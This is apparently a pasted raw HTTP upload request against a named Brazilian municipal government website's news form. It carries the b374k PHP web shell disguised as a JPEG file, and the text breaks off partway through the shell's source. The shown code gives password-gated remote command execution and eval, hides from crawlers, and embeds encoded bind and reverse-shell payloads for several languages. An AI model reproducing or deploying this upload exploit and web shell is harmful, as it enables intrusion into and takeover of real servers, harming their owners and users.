· 9 years ago · Sep 05, 2017, 06:18 PM
1POST /esportelazer/zerlapor/IncluirNoticia.php HTTP/1.1
2Host: www.pmsg.rj.gov.br
3User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
6Accept-Encoding: gzip, deflate
7Content-Type: multipart/form-data; boundary=---------------------------7230262952046
8Content-Length: 104510
9Referer: http://www.pmsg.rj.gov.br/esportelazer/zerlapor/IncluirNoticia.php
10Cookie: PHPSESSID=5ge6o3rn7v7bbh8rejofh514u6
11Connection: keep-alive
12Upgrade-Insecure-Requests: 1
13
14-----------------------------7230262952046
15Content-Disposition: form-data; name="data"
16
1705092017
18-----------------------------7230262952046
19Content-Disposition: form-data; name="noticia"
20
21balada
22-----------------------------7230262952046
23Content-Disposition: form-data; name="caracteres"
24
25
26-----------------------------7230262952046
27Content-Disposition: form-data; name="noticiaCompleta"
28
29balada
30-----------------------------7230262952046
31Content-Disposition: form-data; name="fonte"
32
33balada
34-----------------------------7230262952046
35Content-Disposition: form-data; name="autor"
36
37balada
38-----------------------------7230262952046
39Content-Disposition: form-data; name="arquivo1"; filename="b374k.php.jpg"
40Content-Type: image/jpeg
41
42<?php
43/*
44 b374k 2.4
45 Jayalah Indonesiaku
46 (c) 2013
47 http://code.google.com/p/b374k-shell
48
49*/
50
51error_reporting(0);
52@set_time_limit(0);
53@ini_set('display_errors','0');
54@ini_set('html_errors','0');
55@ini_set('log_errors','0');
56@clearstatcache();
57
58$s_name = "b374k"; // shell name
59$s_ver = "2.4"; // shell ver
60$s_title = $s_name." ".$s_ver; // shell title
61$s_pass = "0de664ecd2be02cdd54234a0d1229b43"; // shell password, fill with password in md5 format to protect shell, default : b374k
62$s_login_time = 3600 * 24 * 7; // cookie time (login)
63
64$s_auth = false; // login status
65if(strlen(trim($s_pass))>0){
66 if(isset($_COOKIE['b374k'])){
67 if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
68 }
69 if(isset($_REQUEST['login'])){
70 $login = strtolower(md5(trim($_REQUEST['login'])));
71 if(strtolower(trim($s_pass)) == $login){
72 setcookie("b374k",$login,time() + $s_login_time);
73 $s_auth = true;
74 }
75 }
76 if(isset($_REQUEST['logout'])){
77 $reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
78 foreach($_COOKIE as $k=>$v){
79 setcookie($k,"",time() - $s_login_time);
80 }
81 $s_auth = false;
82 if(!empty($reload)) header("Location: ".$reload);
83 }
84}
85else $s_auth = true;
86
87// This is a feature where you can control this script from another apps/scripts
88// you need to supply password (in md5 format) to access this
89// this example using password 'b374k' in md5 format (s_pass=0de664ecd2be02cdd54234a0d1229b43)
90// give the code/command you want to execute in base64 format
91// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
92// example :
93// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&cmd=dW5hbWUgLWE=
94// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
95// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&eval=cGhwaW5mbygpOw==
96// recommended ways is using POST DATA
97// note that it will not works if shell password is empty ($s_pass);
98// better see code below
99if(!empty($_REQUEST['s_pass'])){
100 if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){
101 if(isset($_REQUEST['cmd'])){
102 $cmd = base64_decode($_REQUEST['cmd']);
103 echo exe($cmd);
104 }
105 elseif(isset($_REQUEST['eval'])){
106 $code = base64_decode($_REQUEST['eval']);
107 ob_start();
108 eval($code);
109 $res = ob_get_contents();
110 ob_end_clean();
111 echo $res;
112 }
113 else echo $s_title;
114 }
115 die();
116}
117
118// block search engine bot
119if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
120 header("HTTP/1.0 404 Not Found");
121 header("Status: 404 Not Found");
122 die();
123}
124elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
125 header("HTTP/1.0 404 Not Found");
126 header("Status: 404 Not Found");
127 die();
128}
129
130// resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php this was used with bind and reverse shell
131// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
132$rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
133$rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
134$rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
135$rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
136$rs_win = "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";
137$rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc=";
138$favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=";
139$style = "rVbbjpswEH3vVyBFldoKEBCa3YX3fetjP8CACVbBRmboJov493rAEHNJVpVWfkEwnsuZM2f40eWCg5OTipXX6HfScmitX4ILu6GS5X0ismuXkPTPWYqWZ9HB87x4uNKwdxr5QX2JU1EKGR3yPB+/vFF2LiAKPa8vZJcImVEZ+fXFakTJMusQBEFPOn0rTJ+PJI+BXsDJaCokASZ4xAWnPYkK8ZfKyfT19bWvJe1qkmWMnyPPeq4vfS5k1WWsqUtyjRgvmboIJCmpBYVdd2krG3U5ozlpS+gPFWF8UZDv+7FTiXdnTNSRJGNtE/meqmzn1RvLoFCP3td4ykNhMGRyKChR5t1QCynZmUclzSGuiDwzHnnzBW8ytSDrHnwt/O4GdYDRFbbJHwYOSMIbrDySAgjQb45/dI9PGT1/H4t5ZPAwokVsl15qBTgtWQNjB6y5XarJCkPK2w2Gk1cL4QgRDkkbBXn3H+BuuaLpgV11ipFX/gktV9F1eoSQWyIDP+YiQ90lF0tlPBeamQ72aCekdnMyXGBl6BYzGP1AUjYWyE6nFqggscILWEpKTYGKZVlJe/dMrgpag846jjkyT2pkBpNP6XNJAVR9TU1SnX3vYusqtmhe8IIn/ngedxyupeBT8t4hTLjhC77ZEHnu8Vimlg+z2OMJz/08P0pz/t67jNctvNtuLUVVg+3CBYikZDMYmtTeVEAiAERlMu74gueBrBoE7HW8bsObKb6hUJqWxycPL44JJy10q0iLjF/wrNiwq+G3QcNpn0Sj2xFIbIs3Wygx2VX7+bsSxbtQYVxTDPYmDkQdL3fEzXWxxm1RPHqfbp4mLs135Q6f/Gc8vdvQSu3OK5s30TAwO0rrovRYw4IyoVqS+/RIC7XTAdTZ8fPYYHRd2KrKbY5boRnNH4OtrYrA3Gop5UoHTL7+XLMoxbMWjNNmio032/A79S4U3ffmouf9lKapUlBG33K2C/A+o4yVMXB5cvAhFXdgNolpLo6F41RBp0Ccf2V8f1auayIun7Iz7+MWLoJhc+/3IAxXWrDltKWHjAtg+YJ5+op2gL+O2/av51H7Py7orTO2gjnOreUecjkXApa/XhI9mhxFsHY2mPZijv5qw9sjTurJINRIPFuPhz89yIUA9F/+AQ==";
140// http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable
141$sortable_js = 